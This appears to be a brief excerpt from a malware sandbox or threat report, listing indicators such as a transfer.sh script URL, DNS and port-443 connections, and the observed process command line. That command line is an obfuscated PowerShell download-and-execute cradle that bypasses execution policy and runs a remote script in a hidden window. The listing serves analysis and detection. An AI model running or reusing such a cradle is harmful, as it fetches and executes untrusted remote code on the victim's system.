Technical Information
- https://transfer.sh/get/y1g3t7/hdhgha.ps1
- 'tr##sfer.sh':443
- 'tr##sfer.sh':443
- DNS ASK tr##sfer.sh
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exeCutiO BYpASS -C I`eX(n`EW-Ob`J`EcT nET`.weBCLi`ENt).DownloadString('https://transfer.sh/get/Y1G3T7/hdhgha.ps1')' (with hidden window)